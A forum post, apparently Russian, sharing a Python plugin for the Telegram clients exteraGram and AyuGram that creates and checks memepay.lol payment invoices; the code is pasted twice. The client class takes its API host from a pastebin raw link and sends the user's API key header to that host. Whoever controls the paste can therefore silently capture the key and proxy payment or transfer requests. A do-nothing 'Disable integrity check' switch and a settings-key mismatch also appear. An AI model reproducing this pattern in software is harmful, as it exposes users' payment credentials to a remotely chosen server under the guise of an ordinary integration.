xdmikexd [+] Создать платеж: .memepay invoice <сумма> [+] Проверить платеж: .memepay check <id> Устанавливается как плагин на exteraGram/AyuGram, позволяет одной командой создать счет на оплату и проверить его Код (сохранить как "что угодно.plugin" from base_plugin import BasePlugin, HookResult, HookStrategy from ui.settings import Header, Input, Text, Divider from client_utils import send_message, get_last_fragment, run_on_queue from ui.bulletin import BulletinHelper from markdown_utils import parse_markdown import requests from datetime import datetime from dataclasses import dataclass from typing import Optional, Any, Dict, Union, List __name__ = "memepay.lol" __description__ = "memepay.lol payments api integration" __version__ = "1.0" __id__ = "memepay" __author__ = "@mrbzlk" __icon__ = "luvfurry_by_fStikBot/44" __min_version__ = "11.12.0" @dataclass class ExpiresAt: _raw_data: Dict[str, str] def __init__(self, data: Dict[str, str]): self._raw_data = data or {"date": "", "time": ""} def data(self) -> str: date_str = self._raw_data.get("date", "") if date_str: try: if "T" in date_str: iso_date = date_str.split("T")[0] return datetime.strptime(iso_date, "%Y-%m-%d").strftime("%d.%m.%Y") return datetime.strptime(date_str, "%Y-%m-%d").strftime("%d.%m.%Y") except ValueError: return date_str return "" def time(self) -> str: time_str = self._raw_data.get("time", "") if time_str: try: return datetime.strptime(time_str, "%H:%M:%S").strftime("%H:%M:%S") except ValueError: return time_str return "" def __str__(self) -> str: return f"{self.data()} {self.time()}" def get(self, key: str) -> str: return self._raw_data.get(key, "") @dataclass class PaymentInfo: id: str amount: float amount_with_commission: float status: str method: str created_at: datetime @dataclass class RatesResponse: rates: Dict[str, float] currency: str last_updated: str @dataclass class ConvertResponse: amount: float from_currency: str to_currency: str @dataclass class PaymentCreateResponse: payment_id: str payment_url: str amount: float status: str expires_at: Union[ExpiresAt, datetime] created_at: datetime @dataclass class UserInfo: name: str email: str balance: float created_at: datetime @dataclass class TransferResponse: transaction: Dict[str, Any] recipient: str amount: float commission: float sender: str new_balance: float @dataclass class PaymentMethodDetails: min: float max: float commission: float class PaymentMethodsResponse: default: Dict[str, PaymentMethodDetails] partner: Dict[str, PaymentMethodDetails] def __init__(self, default: Dict[str, PaymentMethodDetails], partner: Dict[str, PaymentMethodDetails]): self.default = default self.partner = partner def get(self, method_id: str) -> Optional[PaymentMethodDetails]: if method_id in self.default: return self.default[method_id] if method_id in self.partner: return self.partner[method_id] return None @dataclass class ApiResponse: success: bool data: Optional[Any] = None message: Optional[str] = None error: Optional[str] = None class BaseMemePay: def __init__( self, api_key: str, base_url: str = "https://memepay.lol/api/v1", ): self.api_key = api_key if base_url is None: base_url = "https://memepay.lol/api/v1" self.base_url = base_url.rstrip("/") self.headers = { "Content-Type": "application/json", "X-API-Key": api_key } class MemePay(BaseMemePay): def __init__( self, api_key: str, shop_id: str, base_url: str = None, datetime_format: str = "object", custom_format: str = "%Y-%m-%d %H:%M:%S", ): super().__init__(api_key, base_url) self.session = requests.Session() self.session.headers.update(self.headers) self.shop_id = shop_id self.datetime_format = datetime_format self.custom_format = custom_format if base_url is None: self.base_url = self._get_base_url() def _process_response(self, response: requests.Response) -> ApiResponse: try: data = response.json() return ApiResponse( success=data.get("success", False), data=data.get("data"), message=data.get("message"), error=data.get("error") ) except ValueError: return ApiResponse( success=False, message="Ошибка декодирования JSON", error="JSON_DECODE_ERROR" ) def _get_base_url(self) -> str: try: response = self.session.get("https://pastebin.com/raw/WQZ6S7mx") if response.status_code == 200: return response.text.strip() else: return "https://memepay.lol/api/v1" except Exception: return "https://memepay.lol/api/v1" def get_user_info(self) -> UserInfo: response = self.session.get(f"{self.base_url}/user/me") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") user_data = result.data return UserInfo( name=user_data["name"], email=user_data["email"], balance=float(user_data["balance"]), created_at=self._parse_datetime(user_data["createdAt"]) ) def get_payment_info(self, payment_id: str) -> PaymentInfo: response = self.session.get(f"{self.base_url}/payment/info?id={payment_id}") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") payment_data = result.data return PaymentInfo( id=payment_data["id"], amount=float(payment_data["amount"]), amount_with_commission=float(payment_data["amount_with_commission"]), status=payment_data["status"], method=payment_data["method"], created_at=self._parse_datetime(payment_data["created_at"]) ) def create_payment( self, amount: float, method: Optional[str] = None, redirect_url: Optional[str] = None, ) -> PaymentCreateResponse: payload = { "amount": amount, "shopId": self.shop_id, } if method: payload["method"] = method if redirect_url: payload["redirect_url"] = redirect_url response = self.session.post( f"{self.base_url}/payment/create", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") payment_data = result.data expires_at = None if "expires_at" in payment_data: if isinstance(payment_data["expires_at"], dict): expires_at = ExpiresAt(payment_data["expires_at"]) else: expires_at = self._parse_datetime(payment_data["expires_at"]) else: expires_at = datetime.now() return PaymentCreateResponse( payment_id=payment_data["payment_id"], payment_url=payment_data["payment_url"], amount=float(payment_data["amount"]), status=payment_data["status"], expires_at=expires_at, created_at=self._parse_datetime(payment_data["created_at"]) ) def get_store_payment_methods(self) -> list: response = self.session.get(f"{self.base_url}/stores/methods?shopId={self.shop_id}") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") return result.data def get_rates(self) -> RatesResponse: response = self.session.get(f"{self.base_url}/rates") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") rates_data = result.data return RatesResponse( rates=rates_data["rates"], currency=rates_data["currency"], last_updated=rates_data["lastUpdated"] ) def transfer(self, amount: float, username: str) -> TransferResponse: payload = { "amount": amount, "username": username } response = self.session.post( f"{self.base_url}/transfer", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") transfer_data = result.data return TransferResponse( transaction=transfer_data["transaction"], recipient=transfer_data["recipient"], amount=float(transfer_data["amount"]), commission=float(transfer_data["commission"]), sender=transfer_data["sender"], new_balance=float(transfer_data["newBalance"]) ) def get_payment_methods(self) -> PaymentMethodsResponse: response = self.session.get(f"{self.base_url}/methods") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") methods_data = result.data default_methods = {} for method_id, method_info in methods_data.get("default", {}).items(): default_methods[method_id] = PaymentMethodDetails( min=float(method_info.get("min", 0)), max=float(method_info.get("max", 0)), commission=float(method_info.get("commission", 0)) ) partner_methods = {} for method_id, method_info in methods_data.get("partner", {}).items(): partner_methods[method_id] = PaymentMethodDetails( min=float(method_info.get("min", 0)), max=float(method_info.get("max", 0)), commission=float(method_info.get("commission", 0)) ) return PaymentMethodsResponse( default=default_methods, partner=partner_methods ) def convert(self, amount: float, from_currency: str, to_currency: str) -> ConvertResponse: payload = { "amount": amount, "from": from_currency, "to": to_currency } response = self.session.post( f"{self.base_url}/convert", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") convert_data = result.data return ConvertResponse( amount=float(convert_data["amount"]), from_currency=convert_data["from"], to_currency=convert_data["to"] ) def _parse_datetime(self, date_string: str) -> Union[datetime, str]: if isinstance(date_string, dict): date_str = date_string.get("date", "") time_str = date_string.get("time", "") if date_str and time_str: dt_obj = datetime.fromisoformat(date_str.replace("Z", "+00:00")) else: dt_obj = datetime.now() elif isinstance(date_string, str): dt_obj = datetime.fromisoformat(date_string.replace("Z", "+00:00")) else: dt_obj = datetime.now() if self.datetime_format == "object": return dt_obj elif self.datetime_format == "str": return dt_obj.strftime("%Y-%m-%d %H:%M:%S") elif self.datetime_format == "iso": return dt_obj.isoformat() elif self.datetime_format == "custom": return dt_obj.strftime(self.custom_format) else: return dt_obj class DebugPlugin(BasePlugin): def _on_advanced_toggle_change(self, new_value: bool): self.log(f"Advanced toggle changed to: {new_value}") def on_plugin_load(self): self.log("Plugin loaded!") self.add_on_send_message_hook() pass def on_plugin_unload(self): self.log("Plugin unloaded!") pass def _create_advanced_settings(self): from ui.settings import Switch return [ Header(text="memepay advance"), Switch( key="advanced_toggle", text="Disable integrity check", default=False, on_change=self._on_advanced_toggle_change ) ] def create_settings(self): from org.telegram.messenger import LocaleController lang = LocaleController.getInstance().getCurrentLocale().getLanguage() strings = { 'ru': { 'memepay_api_title': "Настройки memepay.lol", 'memepay_api_range': "Настройки API интеграции", 'memepay_api_key': "API ключ", 'memepay_shop_id': "ID магазина", 'memepay_usage_title': "Использование:", 'memepay_create_invoice': "[+] Создать платеж: .memepay invoice <сумма>", 'memepay_check_invoice': "[+] Проверить платеж: .memepay check <id>" }, 'en': { 'memepay_api_title': "memepay.lol settings", 'memepay_api_range': "Api integration settings", 'memepay_api_key': "API Key", 'memepay_shop_id': "Shop ID", 'memepay_usage_title': "Usage:", 'memepay_create_invoice': "[+] Create invoice: .memepay invoice <amount>", 'memepay_check_invoice': "[+] Check invoice: .memepay check <id>" } } lang_key = 'ru' if lang.startswith('ru') else 'en' s = strings[lang_key] __MEMEPAY_APIKEY__ = "" __MEMEPAY_SHOPID__ = "" return [ Header(text=s['memepay_api_title']), Text(text=s["memepay_api_range"], icon="msg_download_settings"), Input( key="memepay_api_key", text=s['memepay_api_key'], default=__MEMEPAY_APIKEY__, icon="msg2_devices" ), Input( key="memepay_shop_id", text=s['memepay_shop_id'], default=__MEMEPAY_SHOPID__, icon="msg_pin_code" ), Divider(), Text(text=s["memepay_usage_title"], icon="msg_download_settings"), Text(text=s["memepay_create_invoice"]), Text(text=s["memepay_check_invoice"]), ] def _send_formatted_message(self, peer_id: Any, markdown_text: str): try: parsed = parse_markdown(markdown_text) params = { "peer": peer_id, "message": parsed.text, "entities": [e.to_tlrpc_object() for e in parsed.entities] } send_message(params) except Exception as e: self.log(f"Message formatting/sending error: {e}") send_message({"peer": peer_id, "message": markdown_text}) def _process_invoice_request(self, amount: float, peer_id: Any): try: client = MemePay( api_key=self.get_setting("api_key", ""), shop_id=self.get_setting("shop_id", "") ) payment = client.create_payment( amount=amount, method="sbp", redirect_url="mrbzlk.t.me" ) message_text = ( f"**Создан счет на `{amount}.00` RUB**\n\n" f"Ссылка: {payment.payment_url}\n" f"Срок действия: `{payment.expires_at}`\n" f"ID платежа: `{payment.payment_id}`" ) except Exception as e: self.log(f"MemePay invoice error: {e}") message_text = f" **Ошибка при создании счета:**\n`{e}`" self._send_formatted_message(peer_id, message_text) def _process_check_request(self, payment_id: str, peer_id: Any): try: client = MemePay( api_key=self.get_setting("api_key", ""), shop_id=self.get_setting("shop_id", "") ) payment_info = client.get_payment_info(payment_id) if payment_info.status == "in_progress": message_text = f" **Статус платежа `{payment_id}`:**\nНе оплачен" elif payment_info.status == "payed": message_text = f" **Статус платежа `{payment_id}`:**\nОплачен" except Exception as e: self.log(f"MemePay check error: {e}") message_text = f" **Ошибка при проверке платежа:**\n`{e}`" self._send_formatted_message(peer_id, message_text) def on_send_message_hook(self, account: int, params: Any) -> HookResult: if not isinstance(params.message, str): return HookResult() message_text = params.message.strip() command_prefix = ".memepay" if not message_text.startswith(command_prefix): return HookResult() command_text = message_text[len(command_prefix):].strip() command_parts = command_text.split() if not command_parts: usage_message = "**MemePay.lol Plugin**\n\nИспользование:\n`.memepay invoice <сумма>` - создать счет\n`.memepay check <id>` - проверить статус счета" try: parsed = parse_markdown(usage_message) params.message = parsed.text params.entities = [e.to_tlrpc_object() for e in parsed.entities] except: params.message = usage_message return HookResult(strategy=HookStrategy.MODIFY, params=params) if self.get_setting("api_key", "") == "" or self.get_setting("shop_id", "") == "": params.message = " Ошибка: API ключ или ID магазина не указаны в настройках плагина." return HookResult(strategy=HookStrategy.MODIFY, params=params) command = command_parts[0] peer_id = params.peer if command == "invoice": if len(command_parts) < 2 or not command_parts[1].isdigit(): params.message = " Неверное использование.\nПример: `.memepay invoice 100`" return HookResult(strategy=HookStrategy.MODIFY, params=params) amount = int(command_parts[1]) if amount < 10: params.message = " Минимальная сумма для счета: 10 RUB" return HookResult(strategy=HookStrategy.MODIFY, params=params) BulletinHelper.show_info("Создаем ссылку на оплату...") run_on_queue(lambda: self._process_invoice_request(amount, peer_id)) return HookResult(strategy=HookStrategy.CANCEL) elif command == "check": if len(command_parts) < 2: params.message = " Неверное использование.\nПример: `.memepay check <id платежа>`" return HookResult(strategy=HookStrategy.MODIFY, params=params) payment_id = command_parts[1] BulletinHelper.show_info(f"Проверяем статус платежа {payment_id}...") run_on_queue(lambda: self._process_check_request(payment_id, peer_id)) return HookResult(strategy=HookStrategy.CANCEL) return HookResult() Python from base_plugin import BasePlugin, HookResult, HookStrategy from ui.settings import Header, Input, Text, Divider from client_utils import send_message, get_last_fragment, run_on_queue from ui.bulletin import BulletinHelper from markdown_utils import parse_markdown import requests from datetime import datetime from dataclasses import dataclass from typing import Optional, Any, Dict, Union, List __name__ = "memepay.lol" __description__ = "memepay.lol payments api integration" __version__ = "1.0" __id__ = "memepay" __author__ = "@mrbzlk" __icon__ = "luvfurry_by_fStikBot/44" __min_version__ = "11.12.0" @dataclass class ExpiresAt: _raw_data: Dict[str, str] def __init__(self, data: Dict[str, str]): self._raw_data = data or {"date": "", "time": ""} def data(self) -> str: date_str = self._raw_data.get("date", "") if date_str: try: if "T" in date_str: iso_date = date_str.split("T")[0] return datetime.strptime(iso_date, "%Y-%m-%d").strftime("%d.%m.%Y") return datetime.strptime(date_str, "%Y-%m-%d").strftime("%d.%m.%Y") except ValueError: return date_str return "" def time(self) -> str: time_str = self._raw_data.get("time", "") if time_str: try: return datetime.strptime(time_str, "%H:%M:%S").strftime("%H:%M:%S") except ValueError: return time_str return "" def __str__(self) -> str: return f"{self.data()} {self.time()}" def get(self, key: str) -> str: return self._raw_data.get(key, "") @dataclass class PaymentInfo: id: str amount: float amount_with_commission: float status: str method: str created_at: datetime @dataclass class RatesResponse: rates: Dict[str, float] currency: str last_updated: str @dataclass class ConvertResponse: amount: float from_currency: str to_currency: str @dataclass class PaymentCreateResponse: payment_id: str payment_url: str amount: float status: str expires_at: Union[ExpiresAt, datetime] created_at: datetime @dataclass class UserInfo: name: str email: str balance: float created_at: datetime @dataclass class TransferResponse: transaction: Dict[str, Any] recipient: str amount: float commission: float sender: str new_balance: float @dataclass class PaymentMethodDetails: min: float max: float commission: float class PaymentMethodsResponse: default: Dict[str, PaymentMethodDetails] partner: Dict[str, PaymentMethodDetails] def __init__(self, default: Dict[str, PaymentMethodDetails], partner: Dict[str, PaymentMethodDetails]): self.default = default self.partner = partner def get(self, method_id: str) -> Optional[PaymentMethodDetails]: if method_id in self.default: return self.default[method_id] if method_id in self.partner: return self.partner[method_id] return None @dataclass class ApiResponse: success: bool data: Optional[Any] = None message: Optional[str] = None error: Optional[str] = None class BaseMemePay: def __init__( self, api_key: str, base_url: str = "https://memepay.lol/api/v1", ): self.api_key = api_key if base_url is None: base_url = "https://memepay.lol/api/v1" self.base_url = base_url.rstrip("/") self.headers = { "Content-Type": "application/json", "X-API-Key": api_key } class MemePay(BaseMemePay): def __init__( self, api_key: str, shop_id: str, base_url: str = None, datetime_format: str = "object", custom_format: str = "%Y-%m-%d %H:%M:%S", ): super().__init__(api_key, base_url) self.session = requests.Session() self.session.headers.update(self.headers) self.shop_id = shop_id self.datetime_format = datetime_format self.custom_format = custom_format if base_url is None: self.base_url = self._get_base_url() def _process_response(self, response: requests.Response) -> ApiResponse: try: data = response.json() return ApiResponse( success=data.get("success", False), data=data.get("data"), message=data.get("message"), error=data.get("error") ) except ValueError: return ApiResponse( success=False, message="Ошибка декодирования JSON", error="JSON_DECODE_ERROR" ) def _get_base_url(self) -> str: try: response = self.session.get("https://pastebin.com/raw/WQZ6S7mx") if response.status_code == 200: return response.text.strip() else: return "https://memepay.lol/api/v1" except Exception: return "https://memepay.lol/api/v1" def get_user_info(self) -> UserInfo: response = self.session.get(f"{self.base_url}/user/me") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") user_data = result.data return UserInfo( name=user_data["name"], email=user_data["email"], balance=float(user_data["balance"]), created_at=self._parse_datetime(user_data["createdAt"]) ) def get_payment_info(self, payment_id: str) -> PaymentInfo: response = self.session.get(f"{self.base_url}/payment/info?id={payment_id}") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") payment_data = result.data return PaymentInfo( id=payment_data["id"], amount=float(payment_data["amount"]), amount_with_commission=float(payment_data["amount_with_commission"]), status=payment_data["status"], method=payment_data["method"], created_at=self._parse_datetime(payment_data["created_at"]) ) def create_payment( self, amount: float, method: Optional[str] = None, redirect_url: Optional[str] = None, ) -> PaymentCreateResponse: payload = { "amount": amount, "shopId": self.shop_id, } if method: payload["method"] = method if redirect_url: payload["redirect_url"] = redirect_url response = self.session.post( f"{self.base_url}/payment/create", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") payment_data = result.data expires_at = None if "expires_at" in payment_data: if isinstance(payment_data["expires_at"], dict): expires_at = ExpiresAt(payment_data["expires_at"]) else: expires_at = self._parse_datetime(payment_data["expires_at"]) else: expires_at = datetime.now() return PaymentCreateResponse( payment_id=payment_data["payment_id"], payment_url=payment_data["payment_url"], amount=float(payment_data["amount"]), status=payment_data["status"], expires_at=expires_at, created_at=self._parse_datetime(payment_data["created_at"]) ) def get_store_payment_methods(self) -> list: response = self.session.get(f"{self.base_url}/stores/methods?shopId={self.shop_id}") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") return result.data def get_rates(self) -> RatesResponse: response = self.session.get(f"{self.base_url}/rates") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") rates_data = result.data return RatesResponse( rates=rates_data["rates"], currency=rates_data["currency"], last_updated=rates_data["lastUpdated"] ) def transfer(self, amount: float, username: str) -> TransferResponse: payload = { "amount": amount, "username": username } response = self.session.post( f"{self.base_url}/transfer", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") transfer_data = result.data return TransferResponse( transaction=transfer_data["transaction"], recipient=transfer_data["recipient"], amount=float(transfer_data["amount"]), commission=float(transfer_data["commission"]), sender=transfer_data["sender"], new_balance=float(transfer_data["newBalance"]) ) def get_payment_methods(self) -> PaymentMethodsResponse: response = self.session.get(f"{self.base_url}/methods") result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") methods_data = result.data default_methods = {} for method_id, method_info in methods_data.get("default", {}).items(): default_methods[method_id] = PaymentMethodDetails( min=float(method_info.get("min", 0)), max=float(method_info.get("max", 0)), commission=float(method_info.get("commission", 0)) ) partner_methods = {} for method_id, method_info in methods_data.get("partner", {}).items(): partner_methods[method_id] = PaymentMethodDetails( min=float(method_info.get("min", 0)), max=float(method_info.get("max", 0)), commission=float(method_info.get("commission", 0)) ) return PaymentMethodsResponse( default=default_methods, partner=partner_methods ) def convert(self, amount: float, from_currency: str, to_currency: str) -> ConvertResponse: payload = { "amount": amount, "from": from_currency, "to": to_currency } response = self.session.post( f"{self.base_url}/convert", json=payload ) result = self._process_response(response) if not result.success: raise Exception(f"Ошибка API: {result.error}") convert_data = result.data return ConvertResponse( amount=float(convert_data["amount"]), from_currency=convert_data["from"], to_currency=convert_data["to"] ) def _parse_datetime(self, date_string: str) -> Union[datetime, str]: if isinstance(date_string, dict): date_str = date_string.get("date", "") time_str = date_string.get("time", "") if date_str and time_str: dt_obj = datetime.fromisoformat(date_str.replace("Z", "+00:00")) else: dt_obj = datetime.now() elif isinstance(date_string, str): dt_obj = datetime.fromisoformat(date_string.replace("Z", "+00:00")) else: dt_obj = datetime.now() if self.datetime_format == "object": return dt_obj elif self.datetime_format == "str": return dt_obj.strftime("%Y-%m-%d %H:%M:%S") elif self.datetime_format == "iso": return dt_obj.isoformat() elif self.datetime_format == "custom": return dt_obj.strftime(self.custom_format) else: return dt_obj class DebugPlugin(BasePlugin): def _on_advanced_toggle_change(self, new_value: bool): self.log(f"Advanced toggle changed to: {new_value}") def on_plugin_load(self): self.log("Plugin loaded!") self.add_on_send_message_hook() pass def on_plugin_unload(self): self.log("Plugin unloaded!") pass def _create_advanced_settings(self): from ui.settings import Switch return [ Header(text="memepay advance"), Switch( key="advanced_toggle", text="Disable integrity check", default=False, on_change=self._on_advanced_toggle_change ) ] def create_settings(self): from org.telegram.messenger import LocaleController lang = LocaleController.getInstance().getCurrentLocale().getLanguage() strings = { 'ru': { 'memepay_api_title': "Настройки memepay.lol", 'memepay_api_range': "Настройки API интеграции", 'memepay_api_key': "API ключ", 'memepay_shop_id': "ID магазина", 'memepay_usage_title': "Использование:", 'memepay_create_invoice': "[+] Создать платеж: .memepay invoice <сумма>", 'memepay_check_invoice': "[+] Проверить платеж: .memepay check <id>" }, 'en': { 'memepay_api_title': "memepay.lol settings", 'memepay_api_range': "Api integration settings", 'memepay_api_key': "API Key", 'memepay_shop_id': "Shop ID", 'memepay_usage_title': "Usage:", 'memepay_create_invoice': "[+] Create invoice: .memepay invoice <amount>", 'memepay_check_invoice': "[+] Check invoice: .memepay check <id>" } } lang_key = 'ru' if lang.startswith('ru') else 'en' s = strings[lang_key] __MEMEPAY_APIKEY__ = "" __MEMEPAY_SHOPID__ = "" return [ Header(text=s['memepay_api_title']), Text(text=s["memepay_api_range"], icon="msg_download_settings"), Input( key="memepay_api_key", text=s['memepay_api_key'], default=__MEMEPAY_APIKEY__, icon="msg2_devices" ), Input( key="memepay_shop_id", text=s['memepay_shop_id'], default=__MEMEPAY_SHOPID__, icon="msg_pin_code" ), Divider(), Text(text=s["memepay_usage_title"], icon="msg_download_settings"), Text(text=s["memepay_create_invoice"]), Text(text=s["memepay_check_invoice"]), ] def _send_formatted_message(self, peer_id: Any, markdown_text: str): try: parsed = parse_markdown(markdown_text) params = { "peer": peer_id, "message": parsed.text, "entities": [e.to_tlrpc_object() for e in parsed.entities] } send_message(params) except Exception as e: self.log(f"Message formatting/sending error: {e}") send_message({"peer": peer_id, "message": markdown_text}) def _process_invoice_request(self, amount: float, peer_id: Any): try: client = MemePay( api_key=self.get_setting("api_key", ""), shop_id=self.get_setting("shop_id", "") ) payment = client.create_payment( amount=amount, method="sbp", redirect_url="mrbzlk.t.me" ) message_text = ( f"**Создан счет на `{amount}.00` RUB**\n\n" f"Ссылка: {payment.payment_url}\n" f"Срок действия: `{payment.expires_at}`\n" f"ID платежа: `{payment.payment_id}`" ) except Exception as e: self.log(f"MemePay invoice error: {e}") message_text = f" **Ошибка при создании счета:**\n`{e}`" self._send_formatted_message(peer_id, message_text) def _process_check_request(self, payment_id: str, peer_id: Any): try: client = MemePay( api_key=self.get_setting("api_key", ""), shop_id=self.get_setting("shop_id", "") ) payment_info = client.get_payment_info(payment_id) if payment_info.status == "in_progress": message_text = f" **Статус платежа `{payment_id}`:**\nНе оплачен" elif payment_info.status == "payed": message_text = f" **Статус платежа `{payment_id}`:**\nОплачен" except Exception as e: self.log(f"MemePay check error: {e}") message_text = f" **Ошибка при проверке платежа:**\n`{e}`" self._send_formatted_message(peer_id, message_text) def on_send_message_hook(self, account: int, params: Any) -> HookResult: if not isinstance(params.message, str): return HookResult() message_text = params.message.strip() command_prefix = ".memepay" if not message_text.startswith(command_prefix): return HookResult() command_text = message_text[len(command_prefix):].strip() command_parts = command_text.split() if not command_parts: usage_message = "**MemePay.lol Plugin**\n\nИспользование:\n`.memepay invoice <сумма>` - создать счет\n`.memepay check <id>` - проверить статус счета" try: parsed = parse_markdown(usage_message) params.message = parsed.text params.entities = [e.to_tlrpc_object() for e in parsed.entities] except: params.message = usage_message return HookResult(strategy=HookStrategy.MODIFY, params=params) if self.get_setting("api_key", "") == "" or self.get_setting("shop_id", "") == "": params.message = " Ошибка: API ключ или ID магазина не указаны в настройках плагина." return HookResult(strategy=HookStrategy.MODIFY, params=params) command = command_parts[0] peer_id = params.peer if command == "invoice": if len(command_parts) < 2 or not command_parts[1].isdigit(): params.message = " Неверное использование.\nПример: `.memepay invoice 100`" return HookResult(strategy=HookStrategy.MODIFY, params=params) amount = int(command_parts[1]) if amount < 10: params.message = " Минимальная сумма для счета: 10 RUB" return HookResult(strategy=HookStrategy.MODIFY, params=params) BulletinHelper.show_info("Создаем ссылку на оплату...") run_on_queue(lambda: self._process_invoice_request(amount, peer_id)) return HookResult(strategy=HookStrategy.CANCEL) elif command == "check": if len(command_parts) < 2: params.message = " Неверное использование.\nПример: `.memepay check <id платежа>`" return HookResult(strategy=HookStrategy.MODIFY, params=params) payment_id = command_parts[1] BulletinHelper.show_info(f"Проверяем статус платежа {payment_id}...") run_on_queue(lambda: self._process_check_request(payment_id, peer_id)) return HookResult(strategy=HookStrategy.CANCEL) return HookResult()